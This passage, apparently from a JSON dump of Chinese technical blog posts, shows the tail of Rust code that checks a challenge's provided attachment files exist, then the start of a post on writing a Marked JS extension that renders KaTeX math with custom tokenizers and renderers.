class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echeckout_to_working\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epath\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;config.toml\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eread_config\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003econfig_file\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003emut\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econfig\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eprovided\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ebase_path\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejoin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efile\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003eexists\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003efalse\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eworking\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eunlock\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echeck_flag\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"bp\"\u003eself\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ebucket\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estabilize\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"k\"\u003eawait\u003c/span\u003e\u003cspan class=\"o\"\u003e?\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eOk\u003c/span\u003e\u003cspan class=\"p\"\u003e(())\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e由于静态附件类题目只需要检查提供给选手的文件是否有误,所以只需要这样就可以了。\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/2023_04_10_cicd/"},{"title":"Marked JS 集成 Katex 数学公式渲染","time":"2023-02-08T19:00:14+08:00","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e在内容网站中支持 Markdown 渲染已经是一个很常见的需求了,相比较 \u003ca href=\"https://github.com/Vanessa219/vditor\" target=\"_blank\" rel=\"noopener noreffer \"\u003eVditor\u003c/a\u003e、\u003ca href=\"https://github.com/markdown-it/markdown-it\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarkdown-it\u003c/a\u003e 等重量级 markdown 编辑器与渲染工具来说,用 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked\u003c/a\u003e 这类更轻量级的渲染库会带来更好的体验,网站的样式也都可以自己控制。但是 \u003ca href=\"https://marked.js.org\" target=\"_blank\" rel=\"noopener noreffer \"\u003eMarked JS\u003c/a\u003e 仅支持将基本 Markdown 语法渲染成 HTML 标记,对于 代码块高亮、数学公式还是无能为力的。有关代码高亮官方给出了与\u003ca href=\"https://highlightjs.org/\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehighlightJS\u003c/a\u003e集成的\u003ca href=\"https://marked.js.org/using_advanced\" target=\"_blank\" rel=\"noopener noreffer \"\u003e方式\u003c/a\u003e,但是有关集成数学公式渲染的我只搜到了几个issue和一些奇怪的实现:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/markedjs/marked/issues/722\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/markedjs/marked/issues/722\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/linxiaowu66/marked-kaTex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://github.com/linxiaowu66/marked-kaTex\u003c/a\u003e (甚至是直接fork了改的,项目也过期很久了)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://gist.github.com/tajpure/47c65cf72c44cb16f3a5df0ebc045f2f\u003c/a\u003e (拦截render实现,并提前渲染,会出一些奇怪的问题)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://www.xiaog.info/blog/post/marked_js_katex\" target=\"_blank\" rel=\"noopener noreffer \"\u003ehttps://www.xiaog.info/blog/post/marked_js_katex\u003c/a\u003e (上面那个的中文版,似乎做了一点改进,但还是很奇怪)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e看了后两个现有方案,基本上是用正则表达式给数学公式提取出来,然后塞到 katex 里一顿处理成 html,然后塞回 marked 当成 html 块无脑再渲染一遍。我试了试是能用的,但是行为很奇怪,marked 在处理已经渲染好的 html 块时还会做一些额外的工作,例如转义什么的,最后某些字符总是显示的有问题。\u003c/p\u003e\n\u003cp\u003e还是看看远处的插件文档,自己写一个插件吧。\u003c/p\u003e\n\u003ch2 id=\"marked-js-插件实现\"\u003eMarked JS 插件实现\u003c/h2\u003e\n\u003cp\u003e我打算集成 Katex 而不是 MathJax。因为网站本身不是为了专业的 Markdown 渲染开发的,支持数学公式只是为了让文章阅读更加方便。MathJax 支持很多高级特性,还支持渲染到不同的格式,似乎功能有些冗余,Katex 足够轻量,看起来完全符合我的需求。\u003c/p\u003e\n\u003ch3 id=\"marked-工作机制\"\u003eMarked 工作机制\u003c/h3\u003e\n\u003cp\u003e在写插件之前,要先了解一下 \u003ca href=\"https://marked.js.org/using_pro\" target=\"_blank\" rel=\"noopener noreffer \"\u003emarked 的工作机制\u003c/a\u003e。marked 的渲染流程如下:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e用户输入 markdown 格式的纯文本内容;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003elexer\u003c/code\u003e 会把输入的一些片段依次发送给不同的 \u003ccode\u003etokenizer\u003c/code\u003e,并从这些 \u003ccode\u003etokenizer\u003c/code\u003e 中生成一系列的 \u003ccode\u003etoken\u003c/code\u003e,储存到一个嵌套的树结构中;\u003c/li\u003e\n\u003cli\u003e每个 \u003ccode\u003etokenizer\u003c/code\u003e 接收到文本片段后,便会进行判断这个片段是否匹配某个标记格式,如果匹配的话,便会生成一个包含相关信息的 \u003ccode\u003etoken\u003c/code\u003e,如果没有匹配的片段,就返回一个空值;\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ewalkTokens\u003c/code\u003e 函数会遍历所有的 \u003ccode\u003etoken\u003c/code\u003e,然后将这些 \u003ccode\u003etoken\u003c/code\u003e 送入对应的 \u003ccode\u003erenderer\u003c/code\u003e 中进行渲染,并把渲染的结果拼接成最终的 HTML;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e在了解这些之后,应该可以发现,只要实现一个能够提取数学公式块的 \u003ccode\u003etokenizer\u003c/code\u003e 和一个能够渲染的 \u003ccode\u003erenderer\u003c/code\u003e,并整合进 marked 的工作流程中,就能够实现数学公式的渲染了。\u003c/p\u003e\n\u003ch3 id=\"相关-api\"\u003e相关 API\u003c/h3\u003e\n\u003cp\u003emarked 提供了\u003ca href=\"https://marked.js.org/using_pro#extensions\" target=\"_blank\" rel=\"noopener noreffer \"\u003e相关的 API\u003c/a\u003e,这里就不当翻译官了。\u003c/p\u003e\n\u003ch3 id=\"实现-tokenizer\"\u003e实现 \u003ccode\u003etokenizer\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e\u003ccode\u003etokenizer\u003c/code\u003e 需要两个,一个用来解决 \u003ccode\u003e$f(x)=x+y$\u003c/code\u003e 这样的行内公式,一类用来对付\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-markdown\" data-lang=\"markdown\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ef(x) = \\frac{1}{x}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$$\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e这类的行间公式。匹配这些我们只需要两个正则表达式就可以了,一个匹配单个 \u003ccode\u003e$\u003c/code\u003e,一个匹配 \u003ccode\u003e$$\u003c/code\u003e。\u003c/p\u003e\n\u003ch3 id=\"实现-render\"\u003e实现 \u003ccode\u003erender\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003e直接一把梭 \u003ccode\u003ekatex.renderToString(token.text, options)\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"代码片段\"\u003e代码片段\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-typescript\" data-lang=\"typescript\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"nx\"\u003ekatex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"nx\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;katex/dist/katex.css\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eimport\u003c/span\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"kr\"\u003efrom\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;marked\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eexport\u003c/span\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{})\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eMarkedExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eextensions\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eblockKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003einlineKatex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eoptions\u003c/span\u003e: \u003cspan class=\"kt\"\u003eKatexOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003emarked\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eTokenizerAndRendererExtension\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003ename\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003elevel\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inline\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eindexOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;$\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etokenizer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003esrc\u003c/span\u003e: \u003cspan class=\"kt\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003e_tokens\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003ematch\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003esrc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"sr\"\u003e/^\\$+([^$\\n]+?)\\$+/\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kr\"\u003etype\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;inlineKatex\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003eraw\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nx\"\u003etext\u003c/span\u003e: \u003cspan class=\"kt\"\u003ematch\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan 